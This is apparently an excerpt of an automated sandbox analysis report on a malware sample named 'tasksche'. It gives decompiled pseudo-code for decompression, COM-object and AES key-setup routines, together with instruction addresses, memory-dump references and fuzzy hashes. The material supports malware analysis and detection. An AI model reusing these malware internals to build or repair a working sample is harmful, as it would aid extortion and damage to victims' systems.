													__eflags = _t274 -  *_t319;
													if(_t274 <  *_t319) {
														break;
													}
													_t378 = _t378 + 1;
													_t319 = _t319 + 4;
													__eflags = _t378 - 0xf;
													if(_t378 < 0xf) {
														continue;
													}
													goto L65;
												}
												_t433 = _t378;
												goto L65;
											} else {
												_t384 = 0x10;
												_t279 = _t274 >> _t384 - _t316;
												_t387 = ( *(_t279 + _t441 + 0x1e90) & 0x000000ff) +  *(_t443 + 4);
												 *_t443 =  *_t443 + (_t387 >> 3);
												 *(_t443 + 4) = _t387 & 0x00000007;
												_t278 =  *(_t441 + 0x2290 + _t279 * 2) & 0x0000ffff;
												L68:
												_a4 = _a4 + _t278;
												goto L70;
											}
										}
										_a4 = _t262 + 1;
										goto L70;
									}
								}
								__eflags =  *(_t441 + 0x4ad8) - 1;
								if( *(_t441 + 0x4ad8) <= 1) {
									L34:
									 *_t306 =  *_t306 & 0x00000000;
									_t306[2] = _t224;
									_t236 = 0;
									goto L95;
								}
								__eflags =  *(_t306 - 0xc);
								if( *(_t306 - 0xc) != 0) {
									goto L34;
								}
								_t402 =  *(_t306 - 8) & 0x0000ffff;
								__eflags = _t402 - 3;
								if(_t402 >= 3) {
									goto L34;
								}
								_t403 = _t402 + 1;
								 *(_t306 - 8) = _t403;
								 *((_t403 & 0x0000ffff) + _t306 - 4) = _t224;
								 *(_t441 + 0x4ad8) =  *(_t441 + 0x4ad8) - 1;
								continue;
							}
						}
					} else {
						 *((char*)(_t441 + 0x4ad0)) = 1;
						L98:
						return _t214;
					}
				} else {
					 *((char*)(_t441 + 0x2c)) = 1;
					_t302 = E0041462B(__ebx, __ecx, _t441 + 4, _t441 + 0x18, _t441 + 0x30);
					if(_t302 != 0) {
						goto L3;
					} else {
						 *((char*)(_t441 + 0x4ad0)) = 1;
						return _t302;
					}
				}
			}

0x00414946
0x0041494d
0x00414954
0x00414957
0x0041497e
0x0041497e
0x00414985
0x0041498a
0x0041498c
0x0041499d
0x004149a4
0x004149a4
0x004149ae
0x004149b1
0x004149b3
0x004149b6
0x004149b9
0x004149bc
0x004149be
0x004149be
0x004149c1
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x004149c9
0x004149c9
0x004149cc
0x00414f03
0x00000000
0x00414f03
0x004149d2
0x004149e0
0x004149e0
0x004149e3
0x004149f2
0x004149f2
0x004149f8
0x00414efc
0x00414efc
0x00000000
0x00414efc
0x00000000
0x004149f8
0x004149e5
0x004149ec
0x00000000
0x00000000
0x00000000
0x004149ec
0x004149d7
0x004149da
0x00000000
0x00000000
0x00000000
0x004149fe
0x004149fe
0x00414a04
0x00414a09
0x00414a0f
0x00414a11
0x00414a13
0x00414a18
0x00414a19
0x00414a1f
0x00414a21
0x00414a28
0x00414a2a
0x00414a2c
0x00414a33
0x00414a33
0x00414a2c
0x00414a38
0x00414a43
0x00414a4c
0x00414a4f
0x00414a55
0x00414a5a
0x00414a60
0x00414a65
0x00414a69
0x00414a94
0x00414a95
0x00414a9c
0x00414a9f
0x00414ab7
0x00414aba
0x00414ac4
0x00414ac6
0x00414acc
0x00414ad3
0x00414ad8
0x00414adc
0x00414adf
0x00414ae1
0x00414ae1
0x00414ae1
0x00414ae3
0x00000000
0x00414ae3
0x00414aa1
0x00414aa5
0x00414aa5
0x00414aa7
0x00000000
0x00000000
0x00414aa9
0x00414aaa
0x00414aad
0x00414ab0
0x00000000
0x00000000
0x00000000
0x00414ab2
0x00414ab4
0x00000000
0x00414a6b
0x00414a6d
0x00414a70
0x00414a7a
0x00414a82
0x00414a87
0x00414a8a
0x00414aeb
0x00414af0
0x00414af2
0x00414b31
0x00414b36
0x00414d8d
0x00414d8f
0x00414de0
0x00414de5
0x00414df9
0x00414dff
0x00414e02
0x00414e07
0x00414e0d
0x00414e12
0x00414e19
0x00414e44
0x00414e45
0x00414e4c
0x00414e4f
0x00414e6a
0x00414e6d
0x00414e77
0x00414e79
0x00414e7f
0x00414e89
0x00414e8e
0x00414e95
0x00414e9b
0x00414e9d
0x00414e9d
0x00414e9d
0x00414e9f
0x00414ea7
0x00414ea7
0x00414eaa
0x00414eb9
0x00414ebf
0x00414ec3
0x00414ec4
0x00414ec7
0x00414ec9
0x00414ecd
0x00414ed4
0x00414eda
0x00414ee0
0x00414ee8
0x00414eea
0x00414eea
0x00414eed
0x00414ef0
0x00414ef0
0x00414eac
0x00414eac
0x00414eac
0x00414ef3
0x00414ef3
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414e51
0x00414e58
0x00414e58
0x00414e5a
0x00000000
0x00000000
0x00414e5c
0x00414e5d
0x00414e60
0x00414e63
0x00000000
0x00000000
0x00000000
0x00414e65
0x00414e67
0x00000000
0x00414e67
0x00414e1d
0x00414e20
0x00414e2a
0x00414e32
0x00414e37
0x00414e3a
0x00000000
0x00414e3a
0x00414de7
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414d97
0x00414d99
0x00414da3
0x00414daa
0x00414daf
0x00414db0
0x00414db2
0x00414dbd
0x00414dc4
0x00414dca
0x00414dd1
0x00414dd8
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414b3c
0x00414b41
0x00414b44
0x00414b56
0x00414b60
0x00414b63
0x00414b65
0x00414b69
0x00414b70
0x00414b75
0x00414b7b
0x00414b82
0x00414b84
0x00414b84
0x00414b87
0x00414b87
0x00414b46
0x00414b49
0x00414b49
0x00414b8f
0x00414b92
0x00414b97
0x00414b9d
0x00414ba2
0x00414ba9
0x00414bd6
0x00414bd7
0x00414bda
0x00414bdc
0x00414bf6
0x00414bf9
0x00414c00
0x00414c06
0x00414c11
0x00414c16
0x00414c1d
0x00414c23
0x00414c25
0x00414c25
0x00414c25
0x00414c27
0x00000000
0x00414c27
0x00414bde
0x00414be5
0x00414be5
0x00414be7
0x00000000
0x00000000
0x00414be9
0x00414bea
0x00414bed
0x00414bf0
0x00000000
0x00000000
0x00000000
0x00414bf2
0x00414bf4
0x00000000
0x00414bab
0x00414bad
0x00414bb0
0x00414bba
0x00414bc2
0x00414bc7
0x00414bca
0x00414c2f
0x00414c2f
0x00414c32
0x00414c44
0x00414c4d
0x00414c50
0x00414c52
0x00414d52
0x00414d52
0x00414d55
0x00414d5b
0x00414d75
0x00414d5d
0x00414d60
0x00414d61
0x00414d67
0x00414d69
0x00414d6a
0x00414d70
0x00414d72
0x00414d72
0x00414d70
0x00414d67
0x00414d78
0x00414d7b
0x00414d81
0x00414d85
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414c58
0x00414c5b
0x00414d31
0x00414d38
0x00414d3d
0x00414d43
0x00414d4a
0x00414d4c
0x00414d4c
0x00414d4f
0x00000000
0x00414d4f
0x00414c61
0x00414c65
0x00414c6c
0x00414c74
0x00414c7a
0x00414c83
0x00414c85
0x00414c85
0x00414c88
0x00414c88
0x00414c8d
0x00414c92
0x00414c98
0x00414c9d
0x00414ca4
0x00414cd1
0x00414cd2
0x00414cd5
0x00414cd7
0x00414cf1
0x00414cf4
0x00414cfb
0x00414d01
0x00414d0c
0x00414d11
0x00414d18
0x00414d1e
0x00414d20
0x00414d20
0x00414d20
0x00414d22
0x00000000
0x00414d22
0x00414cd9
0x00414ce0
0x00414ce0
0x00414ce2
0x00000000
0x00000000
0x00414ce4
0x00414ce5
0x00414ce8
0x00414ceb
0x00000000
0x00000000
0x00000000
0x00414ced
0x00414cef
0x00000000
0x00414ca6
0x00414ca8
0x00414cab
0x00414cb5
0x00414cbd
0x00414cc2
0x00414cc5
0x00414d2a
0x00414d2a
0x00000000
0x00414d2a
0x00414ca4
0x00414c35
0x00000000
0x00414c35
0x00414ba9
0x00414af4
0x00414afb
0x00414b24
0x00414b24
0x00414b27
0x00414b2a
0x00000000
0x00414b2a
0x00414afd
0x00414b01
0x00000000
0x00000000
0x00414b03
0x00414b07
0x00414b0b
0x00000000
0x00000000
0x00414b0d
0x00414b0e
0x00414b15
0x00414b19
0x00000000
0x00414b19
0x00414a69
0x0041498e
0x0041498e
0x00414f04
0x00000000
0x00414f04
0x00414959
0x00414965
0x00414969
0x00414970
0x00000000
0x00414972
0x00414972
0x00000000
0x00414972
0x00414970

APIs

_realloc.LIBCMT ref: 00414A21

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _realloc
String ID:
API String ID: 1750794848-0
Opcode ID: 19fe713726019c3973d82b14b26a9fc68d02c60563561d4d82d0835d1efeca77
Instruction ID: 2a1397d1efbb1e156a4ddc1088eaf27e515a490876f5f290c2ff2c2445328417
Opcode Fuzzy Hash: 19fe713726019c3973d82b14b26a9fc68d02c60563561d4d82d0835d1efeca77
Instruction Fuzzy Hash: 0B02E5B1A106069BCB1DCF28C5916E9B7E1FF85304F24852ED556CBA85D338F9E1CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00413EE3 Relevance: 1.8, APIs: 1, Instructions: 267
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E00413EE3(void* __ecx, unsigned int __edx) {
				signed int _v8;
				signed int _v12;
				char _v32;
				char _v60;
				char _v77;
				char _v137;
				char _v436;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t113;
				char _t119;
				signed int _t124;
				unsigned int _t125;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				intOrPtr _t149;
				signed int _t155;
				signed int _t157;
				signed int _t158;
				signed int _t161;
				signed int _t162;
				void* _t172;
				void* _t173;
				signed int _t185;
				void* _t187;
				intOrPtr* _t189;
				signed int _t198;
				intOrPtr* _t200;
				void* _t201;
				signed int _t204;
				signed int _t210;
				signed int _t211;
				signed int _t219;
				signed int _t221;
				intOrPtr* _t222;
				intOrPtr* _t224;
				void* _t225;
				void* _t226;

				_t209 = __edx;
				_t173 = __ecx;
				_t224 = __ecx + 4;
				if( *_t224 <=  *((intOrPtr*)(__ecx + 0x78)) - 0x19) {
					L2:
					E004097BA(_t224,  ~( *(_t173 + 8)) & 0x00000007);
					_t113 = E004097D1(_t224);
					_t230 = _t113 & 0x00008000;
					if((_t113 & 0x00008000) == 0) {
						 *((intOrPtr*)(_t173 + 0xe654)) = 0;
						 *((intOrPtr*)(_t173 + 0x98c8)) = 0;
						 *((intOrPtr*)(_t173 + 0x98cc)) = 0;
						__eflags = _t113 & 0x00004000;
						if((_t113 & 0x00004000) == 0) {
							E0041A820(0, _t173 + 0xe4c0, 0, 0x194);
							_t226 = _t226 + 0xc;
						}
						E004097BA(_t224, 2);
						_v8 = 0;
						do {
							_v12 = E004097D1(_t224) >> 0x0000000c & 0x000000ff;
							E004097BA(_t224, 4);
							_t119 = _v12;
							__eflags = _t119 - 0xf;
							if(_t119 != 0xf) {
								 *((char*)(_t225 + _v8 - 0x1c)) = _t119;
								goto L16;
							}
							_t219 = E004097D1(_t224) >> 0x0000000c & 0x000000ff;
							E004097BA(_t224, 4);
							__eflags = _t219;
							if(_t219 != 0) {
								_t221 = _t219 + 2;
								while(1) {
									__eflags = _t221;
									if(_t221 <= 0) {
										break;
									}
									_t221 = _t221 - 1;
									__eflags = _v8 - 0x14;
									if(_v8 >= 0x14) {
										break;
									}
									_t23 =  &_v8;
									 *_t23 = _v8 + 1;
									__eflags =  *_t23;
									 *((char*)(_t225 + _v8 - 0x1c)) = 0;
								}
								_v8 = _v8 - 1;
								goto L16;
							}
							 *((char*)(_t225 + _v8 - 0x1c)) = 0xf;
							L16:
							_v8 = _v8 + 1;
							__eflags = _v8 - 0x14;
						} while (__eflags < 0);
						_t222 = _t173 + 0x3c44;
						E0041284B(__eflags,  &_v32, _t222, 0x14);
						_t37 =  &_v8;
						 *_t37 = _v8 & 0x00000000;
						__eflags =  *_t37;
						do {
							__eflags =  *_t224 -  *((intOrPtr*)(_t173 + 0x78)) - 5;
							if( *_t224 <=  *((intOrPtr*)(_t173 + 0x78)) - 5) {
								L20:
								_t124 = E0040978C(_t224);
								_t210 =  *(_t222 + 0x84);
								_t125 = _t124 & 0x0000fffe;
								__eflags = _t125 -  *((intOrPtr*)(_t222 + 4 + _t210 * 4));
								if(_t125 >=  *((intOrPtr*)(_t222 + 4 + _t210 * 4))) {
									_t211 = _t210 + 1;
									_v12 = 0xf;
									__eflags = _t211 - 0xf;
									if(_t211 >= 0xf) {
										L28:
										_t185 =  *(_t224 + 4) + _v12;
										 *_t224 =  *_t224 + (_t185 >> 3);
										_t209 = _v12;
										 *(_t224 + 4) = _t185 & 0x00000007;
										_t187 = 0x10;
										_t128 = (_t125 -  *((intOrPtr*)(_t222 + _v12 * 4)) >> _t187 - _v12) +  *((intOrPtr*)(_t222 + 0x44 + _t209 * 4));
										__eflags = _t128 -  *_t222;
										if(_t128 >=  *_t222) {
											_t128 = 0;
											__eflags = 0;
										}
										_t129 =  *(_t222 + 0xc88 + _t128 * 2) & 0x0000ffff;
										L31:
										__eflags = _t129 - 0x10;
										if(_t129 >= 0x10) {
											__eflags = _t129 - 0x12;
											_t189 = _t224;
											if(__eflags >= 0) {
												if(__eflags != 0) {
													_t132 = (E004097D1(_t189) >> 9) + 0xb;
													__eflags = _t132;
													_push(7);
												} else {
													_t132 = (E004097D1(_t189) >> 0xd) + 3;
													_push(3);
												}
												_v12 = _t132;
												E004097BA(_t224);
												while(1) {
													__eflags = _v12;
													if(_v12 <= 0) {
														goto L50;
													}
													_v12 = _v12 - 1;
													__eflags = _v8 - 0x194;
													if(_v8 >= 0x194) {
														goto L51;
													}
													_t90 =  &_v8;
													 *_t90 = _v8 + 1;
													__eflags =  *_t90;
													 *((char*)(_t225 + _v8 - 0x1b0)) = 0;
												}
												goto L50;
											}
											__eflags = _t129 - 0x10;
											if(_t129 != 0x10) {
												_t155 = (E004097D1(_t189) >> 9) + 0xb;
												__eflags = _t155;
												_push(7);
											} else {
												_t155 = (E004097D1(_t189) >> 0xd) + 3;
												_push(3);
											}
											_v12 = _t155;
											E004097BA(_t224);
											__eflags = _v8;
											if(_v8 > 0) {
												while(1) {
													__eflags = _v12;
													if(_v12 <= 0) {
														break;
													}
													_t157 = _v8;
													_v12 = _v12 - 1;
													__eflags = _t157 - 0x194;
													if(_t157 >= 0x194) {
														goto L51;
													}
													 *((char*)(_t225 + _t157 - 0x1b0)) =  *((intOrPtr*)(_t225 + _t157 - 0x1b1));
													_t158 = _t157 + 1;
													__eflags = _t158;
													_v8 = _t158;
												}
											}
											goto L50;
										}
										_t198 = _v8;
										_t209 =  *((intOrPtr*)(_t198 + _t173 + 0xe4c0)) + _t129 & 0x0000000f;
										 *(_t225 + _t198 - 0x1b0) =  *((intOrPtr*)(_t198 + _t173 + 0xe4c0)) + _t129 & 0x0000000f;
										_v8 = _t198 + 1;
										goto L50;
									}
									_t200 = _t222 + 4 + _t211 * 4;
									while(1) {
										__eflags = _t125 -  *_t200;
										if(_t125 <  *_t200) {
											break;
										}
										_t211 = _t211 + 1;
										_t200 = _t200 + 4;
										__eflags = _t211 - 0xf;
										if(_t211 < 0xf) {
											continue;
										}
										goto L28;
									}
									_v12 = _t211;
									goto L28;
								}
								_t201 = 0x10;
								_t161 = _t125 >> _t201 - _t210;
								_t204 = ( *(_t161 + _t222 + 0x88) & 0x000000ff) +  *(_t224 + 4);
								_t209 = _t204 >> 3;
								 *_t224 =  *_t224 + (_t204 >> 3);
								 *(_t224 + 4) = _t204 & 0x00000007;
								_t129 =  *(_t222 + 0x488 + _t161 * 2) & 0x0000ffff;
								goto L31;
							}
							_t162 = E0041236D(_t173, _t173, _t209);
							__eflags = _t162;
							if(_t162 == 0) {
								L52:
								_t149 = 0;
								L54:
								return _t149;
							}
							goto L20;
							L50:
							__eflags = _v8 - 0x194;
						} while (_v8 < 0x194);
						L51:
						__eflags =  *_t224 -  *((intOrPtr*)(_t173 + 0x78));
						 *((char*)(_t173 + 0xe658)) = 1;
						if(__eflags <= 0) {
							E0041284B(__eflags,  &_v436, _t173 + 0x94, 0x12b);
							E0041284B(__eflags,  &_v137, _t173 + 0xf80, 0x3c);
							E0041284B(__eflags,  &_v77, _t173 + 0x1e6c, 0x11);
							E0041284B(__eflags,  &_v60, _t173 + 0x2d58, 0x1c);
							_t174 = _t173 + 0xe4c0;
							__eflags = _t173 + 0xe4c0;
							E0041C290(_t173 + 0xe4c0, _t222, _t224, _t174,  &_v436, 0x194);
							_t149 = 1;
							goto L54;
						}
						goto L52;
					}
					 *((intOrPtr*)(_t173 + 0xe654)) = 1;
					return E00413A86(_t173 + 0x98d0, _t209, _t230, _t173, _t173 + 0xe4bc);
				}
				_t172 = E0041236D(__ecx, __ecx, __edx);
				if(_t172 != 0) {
					goto L2;
				}
				return _t172;
			}

0x00413ee3
0x00413eed
0x00413ef3
0x00413efb
0x00413f0a
0x00413f15
0x00413f1c
0x00413f21
0x00413f26
0x00413f4d
0x00413f53
0x00413f59
0x00413f5f
0x00413f64
0x00413f73
0x00413f78
0x00413f78
0x00413f7f
0x00413f84
0x00413f87
0x00413f98
0x00413f9b
0x00413fa0
0x00413fa3
0x00413fa6
0x00413fee
0x00000000
0x00413fee
0x00413fb6
0x00413fb9
0x00413fbe
0x00413fc0
0x00413fcd
0x00413fe2
0x00413fe2
0x00413fe4
0x00000000
0x00000000
0x00413fd0
0x00413fd1
0x00413fd5
0x00000000
0x00000000
0x00413fda
0x00413fda
0x00413fda
0x00413fdd
0x00413fdd
0x00413fe6
0x00000000
0x00413fe6
0x00413fc5
0x00413ff2
0x00413ff2
0x00413ff5
0x00413ff5
0x00413ffd
0x0041400a
0x0041400f
0x0041400f
0x0041400f
0x00414013
0x00414019
0x0041401b
0x0041402c
0x0041402e
0x00414033
0x00414039
0x0041403e
0x00414042
0x0041406d
0x0041406e
0x00414075
0x00414078
0x00414090
0x00414093
0x0041409d
0x0041409f
0x004140a5
0x004140ab
0x004140b0
0x004140b4
0x004140b6
0x004140b8
0x004140b8
0x004140b8
0x004140ba
0x004140c2
0x004140c2
0x004140c5
0x004140e6
0x004140e9
0x004140eb
0x00414147
0x00414160
0x00414160
0x00414163
0x00414149
0x00414151
0x00414154
0x00414154
0x00414167
0x0041416a
0x0041418b
0x0041418b
0x0041418f
0x00000000
0x00000000
0x00414171
0x00414174
0x0041417b
0x00000000
0x00000000
0x00414180
0x00414180
0x00414180
0x00414183
0x00414183
0x00000000
0x0041418b
0x004140ed
0x004140f0
0x00414109
0x00414109
0x0041410c
0x004140f2
0x004140fa
0x004140fd
0x004140fd
0x00414110
0x00414113
0x00414118
0x0041411c
0x0041413f
0x0041413f
0x00414143
0x00000000
0x00000000
0x00414120
0x00414123
0x00414126
0x0041412b
0x00000000
0x00000000
0x00414134
0x0041413b
0x0041413b
0x0041413c
0x0041413c
0x00414145
0x00000000
0x0041411c
0x004140c7
0x004140d3
0x004140d6
0x004140de
0x00000000
0x004140de
0x0041407a
0x0041407e
0x0041407e
0x00414080
0x00000000
0x00000000
0x00414082
0x00414083
0x00414086
0x00414089
0x00000000
0x00000000
0x00000000
0x0041408b
0x0041408d
0x00000000
0x0041408d
0x00414046
0x00414049
0x00414053
0x00414058
0x0041405b
0x00414060
0x00414063
0x00000000
0x00414063
0x0041401f
0x00414024
0x00414026
0x004141ac
0x004141ac
0x00414226
0x00000000
0x00414226
0x00000000
0x00414191
0x00414191
0x00414191
0x0041419e
0x004141a0
0x004141a3
0x004141aa
0x004141c5
0x004141dc
0x004141f0
0x00414204
0x00414215
0x00414215
0x0041421c
0x00414224
0x00000000
0x00414224
0x00000000
0x004141aa
0x00413f36
0x00000000
0x00413f40
0x00413efd
0x00413f04
0x00000000
0x00000000
0x0041422a

APIs

_memset.LIBCMT ref: 00413F73

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 9c54e9cdedc4d1f5f0a70ee5fbfd421263a38b40d6fcac4ed0c82430486a0b60
Instruction ID: 3562be7dcc5a33f83423fe2ddc28cf6e78eed116dec30ec79901489c8d2199a3
Opcode Fuzzy Hash: 9c54e9cdedc4d1f5f0a70ee5fbfd421263a38b40d6fcac4ed0c82430486a0b60
Instruction Fuzzy Hash: CBA11472A00208EBDB04DF65C581BED77B5AB94304F24447FE942EB282C77C9AC2DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00419BB0 Relevance: 1.6, APIs: 1, Instructions: 89
comCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00419BB0(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* _v8;
				void* _v12;
				char* _t34;
				intOrPtr* _t36;
				intOrPtr* _t38;
				intOrPtr* _t40;
				intOrPtr* _t42;
				intOrPtr* _t44;
				intOrPtr* _t46;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				void* _t56;
				void* _t57;
				intOrPtr _t63;

				_t34 =  &_v8;
				_t57 = 0;
				__imp__CoCreateInstance(0x42b1f8, 0, 1, 0x42b148, _t34, _t56, __ecx, __ecx);
				if(_t34 >= 0) {
					_t36 = _v8;
					_push( &_v12);
					_push(0x42b1e8);
					_push(_t36);
					if( *((intOrPtr*)( *_t36))() >= 0) {
						if(_a4 != 0) {
							_t54 = _v12;
							 *((intOrPtr*)( *_t54 + 0x14))(_t54, _a12, 2);
						}
						_t40 = _v8;
						 *((intOrPtr*)( *_t40 + 0x50))(_t40, _a8);
						if(_a20 != _t57) {
							_t52 = _v8;
							 *((intOrPtr*)( *_t52 + 0x1c))(_t52, _a20);
						}
						_t42 = _v8;
						_t63 =  *_t42;
						_push(_t57);
						if(_a24 != _t57) {
							_push(_a24);
						} else {
							_push(0x42a73c);
						}
						 *((intOrPtr*)(_t63 + 0x44))(_t42);
						if(_a28 != _t57) {
							_t50 = _v8;
							 *((intOrPtr*)( *_t50 + 0x2c))(_t50, _a28);
						}
						if(_a16 != _t57) {
							_t48 = _v8;
							 *((intOrPtr*)( *_t48 + 0x24))(_t48, _a16);
						}
						_t44 = _v12;
						_push(1);
						_push(_a12);
						_push(_t44);
						if( *((intOrPtr*)( *_t44 + 0x18))() >= 0) {
							_t57 = 1;
						}
						_t46 = _v12;
						 *((intOrPtr*)( *_t46 + 8))(_t46);
					}
					_t38 = _v8;
					 *((intOrPtr*)( *_t38 + 8))(_t38);
				}
				return _t57;
			}

0x00419bb6
0x00419bc1
0x00419bc9
0x00419bd1
0x00419bd7
0x00419bdf
0x00419be0
0x00419be5
0x00419bea
0x00419bf3
0x00419bf5
0x00419c00
0x00419c00
0x00419c03
0x00419c0c
0x00419c12
0x00419c14
0x00419c1d
0x00419c1d
0x00419c20
0x00419c23
0x00419c25
0x00419c29
0x00419c32
0x00419c2b
0x00419c2b
0x00419c2b
0x00419c36
0x00419c3c
0x00419c3e
0x00419c47
0x00419c47
0x00419c4d
0x00419c4f
0x00419c58
0x00419c58
0x00419c5b
0x00419c60
0x00419c62
0x00419c65
0x00419c6b
0x00419c6d
0x00419c6d
0x00419c6f
0x00419c75
0x00419c75
0x00419c78
0x00419c7e
0x00419c7e
0x00419c85

APIs

CoCreateInstance.OLE32(0042B1F8,00000000,00000001,0042B148,?), ref: 00419BC9

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 291608a549582a43ab036b31c95ed53b806bcf03129be81fab9f556b712dc9f9
Instruction ID: e9337f94160ec10d5a134cda80235c1f61728acff05639409476ed3799cc72ed
Opcode Fuzzy Hash: 291608a549582a43ab036b31c95ed53b806bcf03129be81fab9f556b712dc9f9
Instruction Fuzzy Hash: FC311875A00209EFCF04CFA0C898DAA7BB9EF49304B204499F942DB250D739EE51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA52 Relevance: 1.6, APIs: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040CA52(signed char* __ecx, intOrPtr __edx, void* __edi, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed char* _v8;
				unsigned int _v16;
				char _v24;
				char _v40;
				void* _t32;
				signed int _t33;
				void* _t34;
				void* _t36;
				void* _t39;
				intOrPtr _t41;
				char _t44;
				char _t47;
				intOrPtr _t48;
				signed int _t54;
				void* _t55;
				signed int _t57;
				intOrPtr* _t60;
				signed char* _t61;
				void* _t63;

				_t55 = __edi;
				_v8 = __ecx;
				_push(_t41);
				asm("cpuid");
				_t60 =  &_v24;
				 *_t60 = 1;
				 *((intOrPtr*)(_t60 + 4)) = _t41;
				 *((intOrPtr*)(_t60 + 8)) = 0;
				 *((intOrPtr*)(_t60 + 0xc)) = __edx;
				_t61 = _v8;
				 *_t61 = _v16 >> 0x00000019 & 0x00000001;
				_t32 = _a12 - 0x80;
				if(_t32 == 0) {
					_t47 = 0x10;
					_t61[4] = 0xa;
				} else {
					_t39 = _t32 - 0x40;
					if(_t39 == 0) {
						_t47 = 0x18;
						_t61[4] = 0xc;
					} else {
						if(_t39 != 0x40) {
							_t47 = _a4;
						} else {
							_t47 = 0x20;
							_t61[4] = 0xe;
						}
					}
				}
				_t33 = 0;
				if(_t47 <= 0) {
					L11:
					_t48 = _a16;
					_t71 = _t48;
					if(_t48 != 0) {
						_t34 = 0;
						__eflags = 0;
						do {
							_t61[_t34 + 8] =  *((intOrPtr*)(_t34 + _t48));
							_t34 = _t34 + 1;
							__eflags = _t34 - 0x10;
						} while (__eflags < 0);
						L15:
						_t36 = E0040C4FF(_t61, _t71,  &_v40);
						if(_a4 == 0) {
							_t36 = E0040C6C4(_t61);
						}
						return _t36;
					}
					_t20 =  &(_t61[8]); // 0x8
					E0041A820(_t55, _t20, _t48, 0x10);
					goto L15;
				} else {
					_push(_t55);
					do {
						_t44 =  *((intOrPtr*)(_t33 + _a8));
						_t54 = _t33 >> 2;
						_t57 = _t33 & 0x00000003;
						_t33 = _t33 + 1;
						 *((char*)(_t63 + _t57 - 0x24 + _t54 * 4)) = _t44;
					} while (_t33 < _t47);
					_pop(_t55);
					goto L11;
				}
			}

0x0040ca52
0x0040ca5b
0x0040ca60
0x0040ca61
0x0040ca64
0x0040ca67
0x0040ca69
0x0040ca6c
0x0040ca6f
0x0040ca75
0x0040ca7d
0x0040ca82
0x0040ca87
0x0040caad
0x0040caae
0x0040ca89
0x0040ca89
0x0040ca8c
0x0040caa1
0x0040caa2
0x0040ca8e
0x0040ca91
0x0040cab7
0x0040ca93
0x0040ca95
0x0040ca96
0x0040ca96
0x0040ca91
0x0040ca8c
0x0040caba
0x0040cabe
0x0040cade
0x0040cade
0x0040cae1
0x0040cae3
0x0040caf6
0x0040caf6
0x0040caf8
0x0040cafb
0x0040caff
0x0040cb00
0x0040cb00
0x0040cb05
0x0040cb0b
0x0040cb14
0x0040cb18
0x0040cb18
0x0040cb20
0x0040cb20
0x0040cae8
0x0040caec
0x00000000
0x0040cac0
0x0040cac0
0x0040cac1
0x0040cac4
0x0040cacb
0x0040cace
0x0040cad1
0x0040cad6
0x0040cad9
0x0040cadd
0x00000000
0x0040cadd

APIs

_memset.LIBCMT ref: 0040CAEC

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

